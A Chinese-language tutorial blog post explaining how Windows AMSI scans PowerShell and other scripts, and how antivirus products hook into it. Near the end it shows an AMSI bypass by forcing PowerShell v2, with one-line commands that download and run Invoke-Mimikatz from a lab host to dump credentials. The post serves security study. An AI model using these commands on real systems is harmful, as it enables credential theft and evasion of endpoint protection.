本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
前几天受到某位红队大佬指点了一波 amsi 接口限制 powershell 脚本的问题, 随即便深知自己的知识面不足,这其实是个很基础的技术点,惭愧,于是便快速学习并产出此文,本文尽力通俗易懂,希望能帮到对这一块不太熟悉的小伙伴。
步入正题:
微软表示新的机制 AMSI, 能够让利用 Windows 内置 host 脚本隐蔽或混淆的恶意软件无所遁形,基于 AMSI 接口的安全软件能够进行更深层次的监控,为系统提供更深层次的安全防护。安全软件能通过 AMSI 接口扫描文件,内存、数据流等,进行内容源的 URL/IP 认证检查,并采用技术手段识别恶意行为。用户将可以更加方便地对基于动态脚本的恶意软件和其他攻击行为进行防范。
而 AMSI 之所以如此高效的原因就在于,无论代码是否经过了模糊处理,无论代码被混淆到了什么样的程度,当脚本需要在脚本宿主中运行时,它都必须是以清晰的、未经过混淆处理的明文代码形式呈现给脚本宿主的。
很多人认为他是负载在 windows defender 的上的,其实他是 win10 提供的相对独立的接口,他是存在于操作系统里面的。
就是这个东西:
触发他的规则
不仅限制于 powershell,我们查阅了微软官方文档发现,还包括了 UAC,VBS 等,基本上对所有的脚本语言做了识别
综合流程结构:
黑名单机制
首先他其实是一个黑白名单的机制,准确来说是个黑名单,当攻击者有恶意操作时候,他就会提示并 BAN 掉
存放名单的地方
那么任何一种拥有黑白名单的机制的,他的名单都要有存放的地方,amsi 接口默认是在 defender 里调用,所以暂时把他抽象的理解为一份存放着黑名单的数据库吧 (大胆的去理解)
调用的程序
那么我们要想调用这个名单,得有一个调用的程序 amsi.dll 他是一个 dll 文件,里面有两个用的最多的函数
在咱们的示例中,PowerShell 将运用 AMSI DLL 导出的函数来扫描用户输入。假如以为无害,则履行用户输入,否则将阻挠履行并记载事件。
AmsiScanBuffer, 他是****负责决定是否允许运行脚本的函数, 比如 PowerShell 将在每次要评估任何 PowerShell 脚本时调用此函数
=============================================================================================
这个函数的介绍展现了非常详细的一些东西:
他需要你输入内容的名称,包括内容一些指定的值
很明显,他是通过以黑白名单的方式测试你是否存在恶意的行为。
另一个是 AmsiScanString
应用的场景
比如打开 powershell,UAC,VBA 的等都是他的场景
不管我们在 powershell 输入什么东西的时候,他都会通过 powershell 去调用 amsi,然后 amsi 再去调用查询,也就是存放黑白名单的库中去找,默认的是 windows10 的 defender,只要你的实时保护是开着的,它默认就会调用 defender 里面存着的的黑名单,相当于他是个数据库,这么牵强的理解也是可以的,中间调用的函数便是 scanbuff
powershell 是通过什么去调用 amsi.dll 的呢?
通过 automation.dll 去调用 amsi.dll,amsi.dll 里面有个函数是 AmsiScanBuffer, PowerShell 将在每次要评估任何 PowerShell 脚本时调用此函数, 用来调用 defender 里面的黑白名单
调用问题
通常第三方的软件,比如 360,火绒等,他们自己写的调用接口,那么就不用调用默认的 dfinder 了, 那么我们可以理解为,把 amsi 的接口接到了 360or 火绒上。
为啥我们装了 360 的电脑,操作 net user 添加用户时候会弹窗告警呢?
那就是因为他和 dfinder 的黑白名单写了不一样的东西,把他们认为具有威胁性的写进了黑名单里面,比如敏感的 powershell 恶意操作, 增加用户的 Add 等等,所以 amsi.dll 最后去调用黑白名单的时候,调用的就是 360or 火绒的,所以他们就会弹窗告警。
bypass amsi
强制使用 PowerShell v2 绕过 amsi(前提是 win10 机器需要. net3.0 以上)
如果 PowerShell v2 可用,就用它, 因为版本 2 没有支持 AMSI 的必要内部挂钩
我们用原始 powershell 执行经典的抓密码,可以看到是被 amsi 拦截的
Invoke-Mimikatz
powershell -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
powershell -Version 2 -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.123:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
如上图,利用 V2 降级攻击的方式,便不在拦截成功绕过了 amsi 愉快的抓到了密码。
绕过 amsi 的方式可太多了,例如修改注册表,混淆,更经典的是 DLL 劫持,Hook 等等,以后会专项出一篇绕过 amsi 的方式好文以供大家学习探讨。
参考:
https://docs.microsoft.com/en-us/windows/win32/api/_amsi/
https://cloud.tencent.com/developer/article/1590511
总结:
总的来说,AMSI 针对的是那些采用 PowerShell、VBScript、以及 JScript 等语言开发出来的恶意脚本,它可以大大提升恶意脚本的检测准确率,并帮助用户有效地屏蔽这类恶意脚本。在脚本宿主准备运行某一段脚本代码之前,AMSI 便会介入并尝试扫描出代码中潜在的恶意内容。但也不是不可绕过,绕过 AMSI 一直都是渗透师们热门话题。
有啥问题欢迎私聊,文章有问题欢迎斧正!声明: 文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无关
分享收藏点赞在看